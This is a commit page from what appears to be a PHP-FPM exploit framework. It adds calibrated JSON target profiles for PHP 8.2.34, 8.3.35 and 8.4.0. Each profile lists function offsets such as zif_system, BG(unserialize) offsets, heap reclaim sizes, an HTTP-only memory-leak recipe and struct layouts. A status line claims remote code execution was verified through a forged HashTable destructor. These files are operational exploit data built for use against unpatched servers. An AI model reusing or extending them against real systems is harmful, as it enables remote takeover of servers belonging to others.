Skip to content

Commit 2afe284

Browse files
committed
Add verified PHP-FPM profiles for 8.2-8.4 and a strict FPM schema
Ship the calibrated profiles for the last vulnerable release of every tracked branch plus the earliest 8.4, all marked verified/rce: 8.2.34, 8.3.35, 8.4.0, 8.4.25, 8.4.26 Each records the symbols, the BG(unserialize) offsets, the reclaim geometry, the HTTP-only leak/no-oracle geometry and the compiled struct layout for that build. Introduce profiles/fpm-schema.json as the strict validator for FPM profiles (it requires the fpm block, status, oom_mb and distro), and add the `layout` block to the generic profiles/schema.json so every build profile -- Apache and FPM alike -- still validates in a single pass. The inventory test skips both schema files instead of mistaking one for a profile.
1 parent c01b7f6 commit 2afe284

8 files changed

Lines changed: 674 additions & 22 deletions

File tree

‎profiles/8.2.34-fpm.json‎

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
{
2+
"name": "php-8.2.34-fpm",
3+
"php_version": "8.2.34",
4+
"branch": "8.2",
5+
"fixed_in": "8.2.35",
6+
"sapi": "fpm",
7+
"verified": true,
8+
"rce": true,
9+
"distro": "debian",
10+
"arch": "amd64",
11+
"libphp": {
12+
"zif_system": "0x3769d0",
13+
"zval_ptr_dtor": "0x439120",
14+
"htdata": null
15+
},
16+
"fpm": {
17+
"basic_globals": "0xa15220",
18+
"bg_unserialize_data_off": 848,
19+
"bg_unserialize_level_off": 856,
20+
"struct_size": 8216,
21+
"reclaim_pads": [
22+
4096,
23+
4096
24+
],
25+
"reclaim_size": 16384,
26+
"oracle": "/proc/<pid>/mem (local lab)",
27+
"no_oracle": {
28+
"reclaim_pads": [
29+
4096,
30+
4096
31+
],
32+
"reclaim_size": 16384,
33+
"candidates": [
34+
{
35+
"d_off": "0x80000",
36+
"k": "0xfe8"
37+
}
38+
],
39+
"bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime"
40+
},
41+
"leak": {
42+
"arm_path": "/bigvar.php",
43+
"pads": [
44+
32768,
45+
16384
46+
],
47+
"size": 16384,
48+
"header_content_off": "0x17e8",
49+
"read_len": "0x15810",
50+
"chunk_ptr_off": "0x77f8",
51+
"chunk_base_off": "0x8c000",
52+
"pie_ptr_off": "0x157e8",
53+
"pie_base_off": "0x4a2c85",
54+
"bases": "discovered over HTTP with the calibrate command (no /proc access)"
55+
}
56+
},
57+
"stages": {},
58+
"config": {
59+
"memory_limit": 8388608,
60+
"display_errors": "On",
61+
"session_upload_progress": "On",
62+
"workers": 2
63+
},
64+
"status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7fb258000000 and the PIE base 0x5572fba00000 (leak+0x157e8 -> 0x4a2c85); the primitive at 0x80000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib).",
65+
"oom_mb": 4,
66+
"layout": {
67+
"unserialize_data": {
68+
"last": 0,
69+
"first_dtor": 8,
70+
"last_dtor": 16,
71+
"allowed_classes": 24,
72+
"ref_props": 32,
73+
"cur_depth": 40,
74+
"max_depth": 48,
75+
"entries": 56,
76+
"size": 8216
77+
},
78+
"var_entries": {
79+
"used_slots": 0,
80+
"next": 8,
81+
"data": 16,
82+
"max": 1018
83+
},
84+
"zval": {
85+
"value": 0,
86+
"type_info": 8,
87+
"context": 12,
88+
"size": 16
89+
},
90+
"zend_array": {
91+
"gc": 0,
92+
"flags": 8,
93+
"nTableMask": 12,
94+
"arData": 16,
95+
"nNumUsed": 24,
96+
"nNumOfElements": 28,
97+
"nTableSize": 32,
98+
"pDestructor": 48
99+
},
100+
"zend_reference": {
101+
"gc": 0,
102+
"val": 8,
103+
"val_type_info": 16,
104+
"sources": 24
105+
},
106+
"zend_string": {
107+
"gc": 0,
108+
"h": 8,
109+
"len": 16,
110+
"val": 24
111+
},
112+
"zend_execute_data": {
113+
"opline": 0,
114+
"call": 8,
115+
"return_value": 16,
116+
"func": 24,
117+
"num_args": 44,
118+
"arg1": 80
119+
},
120+
"bucket": {
121+
"val": 0,
122+
"h": 16,
123+
"key": 24
124+
},
125+
"bg": {
126+
"unserialize_data": 848,
127+
"unserialize_level": 856
128+
}
129+
}
130+
}

‎profiles/8.3.35-fpm.json‎

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
{
2+
"name": "php-8.3.35-fpm",
3+
"php_version": "8.3.35",
4+
"branch": "8.3",
5+
"fixed_in": "8.3.36",
6+
"sapi": "fpm",
7+
"verified": true,
8+
"rce": true,
9+
"distro": "debian",
10+
"arch": "amd64",
11+
"libphp": {
12+
"zif_system": "0x37d5f0",
13+
"zval_ptr_dtor": "0x446460",
14+
"htdata": null
15+
},
16+
"fpm": {
17+
"basic_globals": "0xa14e80",
18+
"bg_unserialize_data_off": 856,
19+
"bg_unserialize_level_off": 864,
20+
"struct_size": 8216,
21+
"reclaim_pads": [
22+
4096,
23+
4096
24+
],
25+
"reclaim_size": 16384,
26+
"oracle": "/proc/<pid>/mem (local lab)",
27+
"no_oracle": {
28+
"reclaim_pads": [
29+
4096,
30+
4096
31+
],
32+
"reclaim_size": 16384,
33+
"candidates": [
34+
{
35+
"d_off": "0x80000",
36+
"k": "0xfe8"
37+
}
38+
],
39+
"bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime"
40+
},
41+
"leak": {
42+
"arm_path": "/bigvar.php",
43+
"pads": [
44+
32768,
45+
16384
46+
],
47+
"size": 16384,
48+
"header_content_off": "0x17e8",
49+
"read_len": "0x15810",
50+
"chunk_ptr_off": "0x77f8",
51+
"chunk_base_off": "0x8c000",
52+
"pie_ptr_off": "0x157e8",
53+
"pie_base_off": "0x4b24f6",
54+
"bases": "discovered over HTTP with the calibrate command (no /proc access)"
55+
}
56+
},
57+
"stages": {},
58+
"config": {
59+
"memory_limit": 8388608,
60+
"display_errors": "On",
61+
"session_upload_progress": "On",
62+
"workers": 2
63+
},
64+
"status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7f1c11400000 and the PIE base 0x564b85200000 (leak+0x157e8 -> 0x4b24f6); the primitive at 0x80000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib).",
65+
"oom_mb": 4,
66+
"layout": {
67+
"unserialize_data": {
68+
"last": 0,
69+
"first_dtor": 8,
70+
"last_dtor": 16,
71+
"allowed_classes": 24,
72+
"ref_props": 32,
73+
"cur_depth": 40,
74+
"max_depth": 48,
75+
"entries": 56,
76+
"size": 8216
77+
},
78+
"var_entries": {
79+
"used_slots": 0,
80+
"next": 8,
81+
"data": 16,
82+
"max": 1018
83+
},
84+
"zval": {
85+
"value": 0,
86+
"type_info": 8,
87+
"context": 12,
88+
"size": 16
89+
},
90+
"zend_array": {
91+
"gc": 0,
92+
"flags": 8,
93+
"nTableMask": 12,
94+
"arData": 16,
95+
"nNumUsed": 24,
96+
"nNumOfElements": 28,
97+
"nTableSize": 32,
98+
"pDestructor": 48
99+
},
100+
"zend_reference": {
101+
"gc": 0,
102+
"val": 8,
103+
"val_type_info": 16,
104+
"sources": 24
105+
},
106+
"zend_string": {
107+
"gc": 0,
108+
"h": 8,
109+
"len": 16,
110+
"val": 24
111+
},
112+
"zend_execute_data": {
113+
"opline": 0,
114+
"call": 8,
115+
"return_value": 16,
116+
"func": 24,
117+
"num_args": 44,
118+
"arg1": 80
119+
},
120+
"bucket": {
121+
"val": 0,
122+
"h": 16,
123+
"key": 24
124+
},
125+
"bg": {
126+
"unserialize_data": 856,
127+
"unserialize_level": 864
128+
}
129+
}
130+
}

‎profiles/8.4.0-fpm.json‎

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
{
2+
"name": "php-8.4.0-fpm",
3+
"php_version": "8.4.0",
4+
"branch": "8.4",
5+
"fixed_in": "8.4.27",
6+
"sapi": "fpm",
7+
"verified": true,
8+
"rce": true,
9+
"distro": "debian",
10+
"arch": "amd64",
11+
"libphp": {
12+
"zif_system": "0x384380",
13+
"zval_ptr_dtor": "0x542dd0",
14+
"htdata": null
15+
},
16+
"fpm": {
17+
"basic_globals": "0xa04580",
18+
"bg_unserialize_data_off": 872,
19+
"bg_unserialize_level_off": 880,
20+
"struct_size": 8216,
21+
"reclaim_pads": [
22+
4096,
23+
4096
24+
],
25+
"reclaim_size": 16384,
26+
"oracle": "/proc/<pid>/mem (local lab)",
27+
"no_oracle": {
28+
"reclaim_pads": [
29+
4096,
30+
4096
31+
],
32+
"reclaim_size": 16384,
33+
"candidates": [
34+
{
35+
"d_off": "0x7f000",
36+
"k": "0xfe8"
37+
}
38+
],
39+
"bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime"
40+
},
41+
"leak": {
42+
"arm_path": "/bigvar.php",
43+
"pads": [
44+
32768,
45+
16384
46+
],
47+
"size": 16384,
48+
"header_content_off": "0x17e8",
49+
"read_len": "0x15810",
50+
"chunk_ptr_off": "0x77f8",
51+
"chunk_base_off": "0x8b000",
52+
"pie_ptr_off": "0x157e8",
53+
"pie_base_off": "0x4e4467",
54+
"bases": "discovered over HTTP with the calibrate command (no /proc access)"
55+
}
56+
},
57+
"stages": {},
58+
"config": {
59+
"memory_limit": 8388608,
60+
"display_errors": "On",
61+
"session_upload_progress": "On",
62+
"workers": 2
63+
},
64+
"status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7f576fe00000 and the PIE base 0x558029e00000 (leak+0x157e8 -> 0x4e4467); the primitive at 0x7f000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib).",
65+
"oom_mb": 4,
66+
"layout": {
67+
"unserialize_data": {
68+
"last": 0,
69+
"first_dtor": 8,
70+
"last_dtor": 16,
71+
"allowed_classes": 24,
72+
"ref_props": 32,
73+
"cur_depth": 40,
74+
"max_depth": 48,
75+
"entries": 56,
76+
"size": 8216
77+
},
78+
"var_entries": {
79+
"used_slots": 0,
80+
"next": 8,
81+
"data": 16,
82+
"max": 1018
83+
},
84+
"zval": {
85+
"value": 0,
86+
"type_info": 8,
87+
"context": 12,
88+
"size": 16
89+
},
90+
"zend_array": {
91+
"gc": 0,
92+
"flags": 8,
93+
"nTableMask": 12,
94+
"arData": 16,
95+
"nNumUsed": 24,
96+
"nNumOfElements": 28,
97+
"nTableSize": 32,
98+
"pDestructor": 48
99+
},
100+
"zend_reference": {
101+
"gc": 0,
102+
"val": 8,
103+
"val_type_info": 16,
104+
"sources": 24
105+
},
106+
"zend_string": {
107+
"gc": 0,
108+
"h": 8,
109+
"len": 16,
110+
"val": 24
111+
},
112+
"zend_execute_data": {
113+
"opline": 0,
114+
"call": 8,
115+
"return_value": 16,
116+
"func": 24,
117+
"num_args": 44,
118+
"arg1": 80
119+
},
120+
"bucket": {
121+
"val": 0,
122+
"h": 16,
123+
"key": 24
124+
},
125+
"bg": {
126+
"unserialize_data": 872,
127+
"unserialize_level": 880
128+
}
129+
}
130+
}

0 commit comments

Comments
 (0)